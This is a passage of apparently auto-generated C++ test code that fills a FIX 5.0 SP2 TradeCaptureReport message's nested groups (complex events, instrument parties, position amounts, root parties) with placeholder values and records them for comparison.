ComplexEvents_NoComplexEvents_199);\n    FIX::ComplexEventPrice ComplexEventPrice_199;\n    ComplexEventPrice_199.setString(\"17910058\");\nset_field(noComplexEvents_0_2, ComplexEventPrice_199, ComplexEvents_NoComplexEvents_199);\n    set_field(noComplexEvents_0_2, FIX::ComplexEventPriceBoundaryMethod{5}, ComplexEvents_NoComplexEvents_199);\n    FIX::ComplexEventPriceBoundaryPrecision ComplexEventPriceBoundaryPrecision_199;\n    ComplexEventPriceBoundaryPrecision_199.setString(\"99.560000\");\nset_field(noComplexEvents_0_2, ComplexEventPriceBoundaryPrecision_199, ComplexEvents_NoComplexEvents_199);\n    set_field(noComplexEvents_0_2, FIX::ComplexEventPriceTimeType{2}, ComplexEvents_NoComplexEvents_199);\n    set_field(noComplexEvents_0_2, FIX::ComplexEventType{3}, ComplexEvents_NoComplexEvents_199);\n    FIX::ComplexOptPayoutAmount ComplexOptPayoutAmount_199;\n    ComplexOptPayoutAmount_199.setString(\"6204196\");\nset_field(noComplexEvents_0_2, ComplexOptPayoutAmount_199, ComplexEvents_NoComplexEvents_199);\n    all_values.push_back(ComplexEvents_NoComplexEvents_199);\n    all_compo_names.insert(\"....NoComplexEvents\");\n\n    // ComplexEventDates\n    // Group ComplexEventDates.NoComplexEventDates\n    {\n      FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates noComplexEventDates_2_1_0;\n      // ComplexEventDates.NoComplexEventDates\n      multiset<string> ComplexEventDates_NoComplexEventDates_404;\n      set_field(noComplexEventDates_2_1_0, FIX::ComplexEventEndDate{FIX::UTCTIMESTAMP(5, 46, 31, 16, 12, 2000)}, ComplexEventDates_NoComplexEventDates_404);\n      set_field(noComplexEventDates_2_1_0, FIX::ComplexEventStartDate{FIX::UTCTIMESTAMP(20, 46, 54, 11, 4, 2013)}, ComplexEventDates_NoComplexEventDates_404);\n      all_values.push_back(ComplexEventDates_NoComplexEventDates_404);\n      all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates\");\n\n      // ComplexEventTimes\n      // Group ComplexEventTimes.NoComplexEventTimes\n      {\n        FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_2_0_2_0;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_811;\n        set_field(noComplexEventTimes_2_0_2_0, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(20, 28, 2)}, ComplexEventTimes_NoComplexEventTimes_811);\n        set_field(noComplexEventTimes_2_0_2_0, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(20, 45, 59)}, ComplexEventTimes_NoComplexEventTimes_811);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_811);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_2_1_0.addGroup(noComplexEventTimes_2_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_2_0_2_1;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_812;\n        set_field(noComplexEventTimes_2_0_2_1, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(2, 18, 49)}, ComplexEventTimes_NoComplexEventTimes_812);\n        set_field(noComplexEventTimes_2_0_2_1, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(22, 3, 0)}, ComplexEventTimes_NoComplexEventTimes_812);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_812);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_2_1_0.addGroup(noComplexEventTimes_2_0_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_2_0_2_2;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_813;\n        set_field(noComplexEventTimes_2_0_2_2, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(0, 46, 2)}, ComplexEventTimes_NoComplexEventTimes_813);\n        set_field(noComplexEventTimes_2_0_2_2, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(1, 2, 10)}, ComplexEventTimes_NoComplexEventTimes_813);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_813);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_2_1_0.addGroup(noComplexEventTimes_2_0_2_2);\n      }\n      noComplexEvents_0_2.addGroup(noComplexEventDates_2_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates noComplexEventDates_2_1_1;\n      // ComplexEventDates.NoComplexEventDates\n      multiset<string> ComplexEventDates_NoComplexEventDates_405;\n      set_field(noComplexEventDates_2_1_1, FIX::ComplexEventEndDate{FIX::UTCTIMESTAMP(16, 4, 36, 19, 5, 2014)}, ComplexEventDates_NoComplexEventDates_405);\n      set_field(noComplexEventDates_2_1_1, FIX::ComplexEventStartDate{FIX::UTCTIMESTAMP(16, 11, 7, 21, 12, 2016)}, ComplexEventDates_NoComplexEventDates_405);\n      all_values.push_back(ComplexEventDates_NoComplexEventDates_405);\n      all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates\");\n\n      // ComplexEventTimes\n      // Group ComplexEventTimes.NoComplexEventTimes\n      {\n        FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_2_1_2_0;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_814;\n        set_field(noComplexEventTimes_2_1_2_0, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(10, 51, 10)}, ComplexEventTimes_NoComplexEventTimes_814);\n        set_field(noComplexEventTimes_2_1_2_0, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(13, 5, 12)}, ComplexEventTimes_NoComplexEventTimes_814);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_814);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_2_1_1.addGroup(noComplexEventTimes_2_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoComplexEvents::NoComplexEventDates::NoComplexEventTimes noComplexEventTimes_2_1_2_1;\n        // ComplexEventTimes.NoComplexEventTimes\n        multiset<string> ComplexEventTimes_NoComplexEventTimes_815;\n        set_field(noComplexEventTimes_2_1_2_1, FIX::ComplexEventEndTime{FIX::UTCTIMEONLY(9, 51, 42)}, ComplexEventTimes_NoComplexEventTimes_815);\n        set_field(noComplexEventTimes_2_1_2_1, FIX::ComplexEventStartTime{FIX::UTCTIMEONLY(8, 36, 56)}, ComplexEventTimes_NoComplexEventTimes_815);\n        all_values.push_back(ComplexEventTimes_NoComplexEventTimes_815);\n        all_compo_names.insert(\"....NoComplexEvents...NoComplexEventDates...NoComplexEventTimes\");\n\n        noComplexEventDates_2_1_1.addGroup(noComplexEventTimes_2_1_2_1);\n      }\n      noComplexEvents_0_2.addGroup(noComplexEventDates_2_1_1);\n    }\n    msg.addGroup(noComplexEvents_0_2);\n  }\n  // EvntGrp\n  // Group EvntGrp.NoEvents\n  {\n    FIX50SP2::TradeCaptureReport::NoEvents noEvents_0_0;\n    // EvntGrp.NoEvents\n    multiset<string> EvntGrp_NoEvents_189;\n    set_field(noEvents_0_0, FIX::EventDate{\"LOCALMKTDATE_359587448\"}, EvntGrp_NoEvents_189);\n    FIX::EventPx EventPx_189;\n    EventPx_189.setString(\"15876524\");\nset_field(noEvents_0_0, EventPx_189, EvntGrp_NoEvents_189);\n    set_field(noEvents_0_0, FIX::EventText{\"STRING_1685296390\"}, EvntGrp_NoEvents_189);\n    set_field(noEvents_0_0, FIX::EventTime{FIX::UTCTIMESTAMP(0, 53, 12, 4, 5, 2007)}, EvntGrp_NoEvents_189);\n    set_field(noEvents_0_0, FIX::EventType{18}, EvntGrp_NoEvents_189);\n    all_values.push_back(EvntGrp_NoEvents_189);\n    all_compo_names.insert(\"....NoEvents\");\n\n    msg.addGroup(noEvents_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoEvents noEvents_0_1;\n    // EvntGrp.NoEvents\n    multiset<string> EvntGrp_NoEvents_190;\n    set_field(noEvents_0_1, FIX::EventDate{\"LOCALMKTDATE_2119404471\"}, EvntGrp_NoEvents_190);\n    FIX::EventPx EventPx_190;\n    EventPx_190.setString(\"5240199\");\nset_field(noEvents_0_1, EventPx_190, EvntGrp_NoEvents_190);\n    set_field(noEvents_0_1, FIX::EventText{\"STRING_1422270458\"}, EvntGrp_NoEvents_190);\n    set_field(noEvents_0_1, FIX::EventTime{FIX::UTCTIMESTAMP(14, 29, 14, 26, 11, 2011)}, EvntGrp_NoEvents_190);\n    set_field(noEvents_0_1, FIX::EventType{4}, EvntGrp_NoEvents_190);\n    all_values.push_back(EvntGrp_NoEvents_190);\n    all_compo_names.insert(\"....NoEvents\");\n\n    msg.addGroup(noEvents_0_1);\n  }\n  // InstrumentParties\n  // Group InstrumentParties.NoInstrumentParties\n  {\n    FIX50SP2::TradeCaptureReport::NoInstrumentParties noInstrumentParties_0_0;\n    // InstrumentParties.NoInstrumentParties\n    multiset<string> InstrumentParties_NoInstrumentParties_185;\n    set_field(noInstrumentParties_0_0, FIX::InstrumentPartyID{\"STRING_483693860\"}, InstrumentParties_NoInstrumentParties_185);\n    set_field(noInstrumentParties_0_0, FIX::InstrumentPartyIDSource{'4'}, InstrumentParties_NoInstrumentParties_185);\n    set_field(noInstrumentParties_0_0, FIX::InstrumentPartyRole{1419396036}, InstrumentParties_NoInstrumentParties_185);\n    all_values.push_back(InstrumentParties_NoInstrumentParties_185);\n    all_compo_names.insert(\"....NoInstrumentParties\");\n\n    // InstrumentPtysSubGrp\n    // Group InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n    {\n      FIX50SP2::TradeCaptureReport::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_0_1_0;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_371;\n      set_field(noInstrumentPartySubIDs_0_1_0, FIX::InstrumentPartySubID{\"STRING_465324310\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_371);\n      set_field(noInstrumentPartySubIDs_0_1_0, FIX::InstrumentPartySubIDType{872219884}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_371);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_371);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_0.addGroup(noInstrumentPartySubIDs_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_0_1_1;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_372;\n      set_field(noInstrumentPartySubIDs_0_1_1, FIX::InstrumentPartySubID{\"STRING_806545373\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_372);\n      set_field(noInstrumentPartySubIDs_0_1_1, FIX::InstrumentPartySubIDType{1049302604}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_372);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_372);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_0.addGroup(noInstrumentPartySubIDs_0_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_0_1_2;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_373;\n      set_field(noInstrumentPartySubIDs_0_1_2, FIX::InstrumentPartySubID{\"STRING_1231807332\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_373);\n      set_field(noInstrumentPartySubIDs_0_1_2, FIX::InstrumentPartySubIDType{246714218}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_373);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_373);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_0.addGroup(noInstrumentPartySubIDs_0_1_2);\n    }\n    msg.addGroup(noInstrumentParties_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoInstrumentParties noInstrumentParties_0_1;\n    // InstrumentParties.NoInstrumentParties\n    multiset<string> InstrumentParties_NoInstrumentParties_186;\n    set_field(noInstrumentParties_0_1, FIX::InstrumentPartyID{\"STRING_587115347\"}, InstrumentParties_NoInstrumentParties_186);\n    set_field(noInstrumentParties_0_1, FIX::InstrumentPartyIDSource{'1'}, InstrumentParties_NoInstrumentParties_186);\n    set_field(noInstrumentParties_0_1, FIX::InstrumentPartyRole{1449072026}, InstrumentParties_NoInstrumentParties_186);\n    all_values.push_back(InstrumentParties_NoInstrumentParties_186);\n    all_compo_names.insert(\"....NoInstrumentParties\");\n\n    // InstrumentPtysSubGrp\n    // Group InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n    {\n      FIX50SP2::TradeCaptureReport::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_1_1_0;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_374;\n      set_field(noInstrumentPartySubIDs_1_1_0, FIX::InstrumentPartySubID{\"STRING_359749823\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_374);\n      set_field(noInstrumentPartySubIDs_1_1_0, FIX::InstrumentPartySubIDType{1392861035}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_374);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_374);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_1.addGroup(noInstrumentPartySubIDs_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_1_1_1;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_375;\n      set_field(noInstrumentPartySubIDs_1_1_1, FIX::InstrumentPartySubID{\"STRING_1690525776\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_375);\n      set_field(noInstrumentPartySubIDs_1_1_1, FIX::InstrumentPartySubIDType{1711475202}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_375);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_375);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_1.addGroup(noInstrumentPartySubIDs_1_1_1);\n    }\n    msg.addGroup(noInstrumentParties_0_1);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoInstrumentParties noInstrumentParties_0_2;\n    // InstrumentParties.NoInstrumentParties\n    multiset<string> InstrumentParties_NoInstrumentParties_187;\n    set_field(noInstrumentParties_0_2, FIX::InstrumentPartyID{\"STRING_305950644\"}, InstrumentParties_NoInstrumentParties_187);\n    set_field(noInstrumentParties_0_2, FIX::InstrumentPartyIDSource{'1'}, InstrumentParties_NoInstrumentParties_187);\n    set_field(noInstrumentParties_0_2, FIX::InstrumentPartyRole{88011518}, InstrumentParties_NoInstrumentParties_187);\n    all_values.push_back(InstrumentParties_NoInstrumentParties_187);\n    all_compo_names.insert(\"....NoInstrumentParties\");\n\n    // InstrumentPtysSubGrp\n    // Group InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n    {\n      FIX50SP2::TradeCaptureReport::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_2_1_0;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_376;\n      set_field(noInstrumentPartySubIDs_2_1_0, FIX::InstrumentPartySubID{\"STRING_1525062083\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_376);\n      set_field(noInstrumentPartySubIDs_2_1_0, FIX::InstrumentPartySubIDType{1767036244}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_376);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_376);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_2.addGroup(noInstrumentPartySubIDs_2_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_2_1_1;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_377;\n      set_field(noInstrumentPartySubIDs_2_1_1, FIX::InstrumentPartySubID{\"STRING_1244924183\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_377);\n      set_field(noInstrumentPartySubIDs_2_1_1, FIX::InstrumentPartySubIDType{588598469}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_377);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_377);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_2.addGroup(noInstrumentPartySubIDs_2_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoInstrumentParties::NoInstrumentPartySubIDs noInstrumentPartySubIDs_2_1_2;\n      // InstrumentPtysSubGrp.NoInstrumentPartySubIDs\n      multiset<string> InstrumentPtysSubGrp_NoInstrumentPartySubIDs_378;\n      set_field(noInstrumentPartySubIDs_2_1_2, FIX::InstrumentPartySubID{\"STRING_1566964354\"}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_378);\n      set_field(noInstrumentPartySubIDs_2_1_2, FIX::InstrumentPartySubIDType{1596851085}, InstrumentPtysSubGrp_NoInstrumentPartySubIDs_378);\n      all_values.push_back(InstrumentPtysSubGrp_NoInstrumentPartySubIDs_378);\n      all_compo_names.insert(\"....NoInstrumentParties...NoInstrumentPartySubIDs\");\n\n      noInstrumentParties_0_2.addGroup(noInstrumentPartySubIDs_2_1_2);\n    }\n    msg.addGroup(noInstrumentParties_0_2);\n  }\n  // SecAltIDGrp\n  // Group SecAltIDGrp.NoSecurityAltID\n  {\n    FIX50SP2::TradeCaptureReport::NoSecurityAltID noSecurityAltID_0_0;\n    // SecAltIDGrp.NoSecurityAltID\n    multiset<string> SecAltIDGrp_NoSecurityAltID_195;\n    set_field(noSecurityAltID_0_0, FIX::SecurityAltID{\"STRING_629341209\"}, SecAltIDGrp_NoSecurityAltID_195);\n    set_field(noSecurityAltID_0_0, FIX::SecurityAltIDSource{\"STRING_1240447539\"}, SecAltIDGrp_NoSecurityAltID_195);\n    all_values.push_back(SecAltIDGrp_NoSecurityAltID_195);\n    all_compo_names.insert(\"....NoSecurityAltID\");\n\n    msg.addGroup(noSecurityAltID_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoSecurityAltID noSecurityAltID_0_1;\n    // SecAltIDGrp.NoSecurityAltID\n    multiset<string> SecAltIDGrp_NoSecurityAltID_196;\n    set_field(noSecurityAltID_0_1, FIX::SecurityAltID{\"STRING_1414879140\"}, SecAltIDGrp_NoSecurityAltID_196);\n    set_field(noSecurityAltID_0_1, FIX::SecurityAltIDSource{\"STRING_1060302215\"}, SecAltIDGrp_NoSecurityAltID_196);\n    all_values.push_back(SecAltIDGrp_NoSecurityAltID_196);\n    all_compo_names.insert(\"....NoSecurityAltID\");\n\n    msg.addGroup(noSecurityAltID_0_1);\n  }\n  // SecurityXML\n  multiset<string> SecurityXML_194;\n  set_field(msg, FIX::SecurityXML{\"XMLDATA_512359927\"}, SecurityXML_194);\n  set_field(msg, FIX::SecurityXMLLen{254660398}, SecurityXML_194);\n  set_field(msg, FIX::SecurityXMLSchema{\"STRING_1525626526\"}, SecurityXML_194);\n  all_values.push_back(SecurityXML_194);\n  all_compo_names.insert(\"..\");\n\n  // PositionAmountData\n  // Group PositionAmountData.NoPosAmt\n  {\n    FIX50SP2::TradeCaptureReport::NoPosAmt noPosAmt_0_0;\n    // PositionAmountData.NoPosAmt\n    multiset<string> PositionAmountData_NoPosAmt_15;\n    FIX::PosAmt PosAmt_15;\n    PosAmt_15.setString(\"10612057\");\nset_field(noPosAmt_0_0, PosAmt_15, PositionAmountData_NoPosAmt_15);\n    set_field(noPosAmt_0_0, FIX::PosAmtType{\"STRING_PREM\"}, PositionAmountData_NoPosAmt_15);\n    set_field(noPosAmt_0_0, FIX::PositionCurrency{\"STRING_468903495\"}, PositionAmountData_NoPosAmt_15);\n    all_values.push_back(PositionAmountData_NoPosAmt_15);\n    all_compo_names.insert(\"...NoPosAmt\");\n\n    msg.addGroup(noPosAmt_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoPosAmt noPosAmt_0_1;\n    // PositionAmountData.NoPosAmt\n    multiset<string> PositionAmountData_NoPosAmt_16;\n    FIX::PosAmt PosAmt_16;\n    PosAmt_16.setString(\"13079199\");\nset_field(noPosAmt_0_1, PosAmt_16, PositionAmountData_NoPosAmt_16);\n    set_field(noPosAmt_0_1, FIX::PosAmtType{\"STRING_ICPN\"}, PositionAmountData_NoPosAmt_16);\n    set_field(noPosAmt_0_1, FIX::PositionCurrency{\"STRING_605001807\"}, PositionAmountData_NoPosAmt_16);\n    all_values.push_back(PositionAmountData_NoPosAmt_16);\n    all_compo_names.insert(\"...NoPosAmt\");\n\n    msg.addGroup(noPosAmt_0_1);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoPosAmt noPosAmt_0_2;\n    // PositionAmountData.NoPosAmt\n    multiset<string> PositionAmountData_NoPosAmt_17;\n    FIX::PosAmt PosAmt_17;\n    PosAmt_17.setString(\"6095083\");\nset_field(noPosAmt_0_2, PosAmt_17, PositionAmountData_NoPosAmt_17);\n    set_field(noPosAmt_0_2, FIX::PosAmtType{\"STRING_CPN\"}, PositionAmountData_NoPosAmt_17);\n    set_field(noPosAmt_0_2, FIX::PositionCurrency{\"STRING_964751630\"}, PositionAmountData_NoPosAmt_17);\n    all_values.push_back(PositionAmountData_NoPosAmt_17);\n    all_compo_names.insert(\"...NoPosAmt\");\n\n    msg.addGroup(noPosAmt_0_2);\n  }\n  // RootParties\n  // Group RootParties.NoRootPartyIDs\n  {\n    FIX50SP2::TradeCaptureReport::NoRootPartyIDs noRootPartyIDs_0_0;\n    // RootParties.NoRootPartyIDs\n    multiset<string> RootParties_NoRootPartyIDs_10;\n    set_field(noRootPartyIDs_0_0, FIX::RootPartyID{\"STRING_400648989\"}, RootParties_NoRootPartyIDs_10);\n    set_field(noRootPartyIDs_0_0, FIX::RootPartyIDSource{'5'}, RootParties_NoRootPartyIDs_10);\n    set_field(noRootPartyIDs_0_0, FIX::RootPartyRole{160836399}, RootParties_NoRootPartyIDs_10);\n    all_values.push_back(RootParties_NoRootPartyIDs_10);\n    all_compo_names.insert(\"...NoRootPartyIDs\");\n\n    // RootSubParties\n    // Group RootSubParties.NoRootPartySubIDs\n    {\n      FIX50SP2::TradeCaptureReport::NoRootPartyIDs::NoRootPartySubIDs noRootPartySubIDs_0_1_0;\n      // RootSubParties.NoRootPartySubIDs\n      multiset<string> RootSubParties_NoRootPartySubIDs_18;\n      set_field(noRootPartySubIDs_0_1_0, FIX::RootPartySubID{\"STRING_616754703\"}, RootSubParties_NoRootPartySubIDs_18);\n      set_field(noRootPartySubIDs_0_1_0, FIX::RootPartySubIDType{1889057502}, RootSubParties_NoRootPartySubIDs_18);\n      all_values.push_back(RootSubParties_NoRootPartySubIDs_18);\n      all_compo_names.insert(\"...NoRootPartyIDs...NoRootPartySubIDs\");\n\n      noRootPartyIDs_0_0.addGroup(noRootPartySubIDs_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoRootPartyIDs::NoRootPartySubIDs noRootPartySubIDs_0_1_1;\n      // RootSubParties.NoRootPartySubIDs\n      multiset<string> RootSubParties_NoRootPartySubIDs_19;\n      set_field(noRootPartySubIDs_0_1_1, FIX::RootPartySubID{\"STRING_1440674024\"}, RootSubParties_NoRootPartySubIDs_19);\n      set_field(noRootPartySubIDs_0_1_1, FIX::RootPartySubIDType{236307299}, RootSubParties_NoRootPartySubIDs_19);\n      all_values.push_back(RootSubParties_NoRootPartySubIDs_19);\n      all_compo_names.insert(\"...NoRootPartyIDs...NoRootPartySubIDs\");\n\n      noRootPartyIDs_0_0.addGroup(noRootPartySubIDs_0_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoRootPartyIDs::NoRootPartySubIDs noRootPartySubIDs_0_1_2;\n      // RootSubParties.NoRootPartySubIDs\n      multiset<string> RootSubParties_NoRootPartySubIDs_20;\n      set_field(noRootPartySubIDs_0_1_2, FIX::RootPartySubID{\"STRING_986498037\"}, RootSubParties_NoRootPartySubIDs_20);\n      set_field(noRootPartySubIDs_0_1_2, FIX::RootPartySubIDType{2029272494}, RootSubParties_NoRootPartySubIDs_20);\n      all_values.push_back(RootSubParties_NoRootPartySubIDs_20);\n      all_compo_names.insert(\"...NoRootPartyIDs...NoRootPartySubIDs\");\n\n      noRootPartyIDs_0_0.addGroup(noRootPartySubIDs_0_1_2);\n    }\n    msg.addGroup(noRootPartyIDs_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoRootPartyIDs noRootPartyIDs_0_1;\n    // RootParties.NoRootPartyIDs\n    multiset<string> RootParties_NoRootPartyIDs_11;\n    set_field(noRootPartyIDs_0_1, FIX::RootPartyID{\"STRING_1803271653\"}, RootParties_NoRootPartyIDs_11);\n    set_field(noRootPartyIDs_0_1, FIX::RootPartyIDSource{'4'}, RootParties_NoRootPartyIDs_11);\n    set_field(noRootPartyIDs_0_1, FIX::RootPartyRole{812974126}, RootParties_NoRootPartyIDs_11);\n    all_values.push_back(RootParties_NoRootPartyIDs_11);\n    all_compo_names.insert(\"...NoRootPartyIDs\");\n\n    // RootSubParties\n    // Group RootSubParties.NoRootPartySubIDs\n    {\n      FIX50SP2::TradeCaptureReport::NoRootPartyIDs::NoRootPartySubIDs noRootPartySubIDs_1_1_0;\n      // RootSubParties.NoRootPartySubIDs\n      multiset<string> RootSubParties_NoRootPartySubIDs_21;\n      set_field(noRootPartySubIDs_1_1_0, FIX::RootPartySubID{\"STRING_1676313014\"}, RootSubParties_NoRootPartySubIDs_21);\n      set_field(noRootPartySubIDs_1_1_0, FIX::RootPartySubIDType{80369619}, RootSubParties_NoRootPartySubIDs_21);\n      all_values.push_back(RootSubParties_NoRootPartySubIDs_21);\n      all_compo_names.insert(\"...NoRootPartyIDs...NoRootPartySubIDs\");\n\n      noRootPartyIDs_0_1.addGroup(noRootPartySubIDs_1_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoRootPartyIDs::NoRootPartySubIDs noRootPartySubIDs_1_1_1;\n      // RootSubParties.NoRootPartySubIDs\n      multiset<string> RootSubParties_NoRootPartySubIDs_22;\n      set_field(noRootPartySubIDs_1_1_1, FIX::RootPartySubID{\"STRING_1345431430\"}, RootSubParties_NoRootPartySubIDs_22);\n      set_field(noRootPartySubIDs_1_1_1, FIX::RootPartySubIDType{41189294}, RootSubParties_NoRootPartySubIDs_22);\n      all_values.push_back(RootSubParties_NoRootPartySubIDs_22);\n      all_compo_names.insert(\"...NoRootPartyIDs...NoRootPartySubIDs\");\n\n      noRootPartyIDs_0_1.addGroup(noRootPartySubIDs_1_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoRootPartyIDs::NoRootPartySubIDs noRootPartySubIDs_1_1_2;\n      // RootSubParties.NoRootPartySubIDs\n      multiset<string> RootSubParties_NoRootPartySubIDs_23;\n      set_field(noRootPartySubIDs_1_1_2, FIX::RootPartySubID{\"STRING_335030017\"}, RootSubParties_NoRootPartySubIDs_23);\n      set_field(noRootPartySubIDs_1_1_2, FIX::RootPartySubIDType{723574308}, RootSubParties_NoRootPartySubIDs_23);\n      all_values.push_back(RootSubParties_NoRootPartySubIDs_23);\n      all_compo_names.insert(\"...NoRootPartyIDs...NoRootPartySubIDs\");\n\n      noRootPartyIDs_0_1.addGroup(noRootPartySubIDs_1_1_2);\n    }\n    msg.addGroup(noRootPartyIDs_0_1);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoRootPartyIDs noRootPartyIDs_0_2;\n    // RootParties.NoRootPartyIDs\n    multiset<string> RootParties_NoRootPartyIDs_12;\n    set_field(noRootPartyIDs_0_2, FIX::RootPartyID{\"STRING_1425769105\"}, RootParties_NoRootPartyIDs_12);\n    set_field(noRootPartyIDs_0_2, FIX::RootPartyIDSource{'1'}, RootParties_NoRootPartyIDs_12);\n    set_field(noRootPartyIDs_0_2, FIX::RootPartyRole{1151019791}, RootParties_NoRootPartyIDs_12);\n    all_values.push_back(RootParties_NoRootPartyIDs_12);\n    all_compo_names.insert(\"...NoRootPartyIDs\");\n\n    // RootSubParties\n    // Group RootSubParties.NoRootPartySubIDs\n    {\n      FIX50SP2::TradeCaptureReport::NoRootPartyIDs::NoRootPartySubIDs 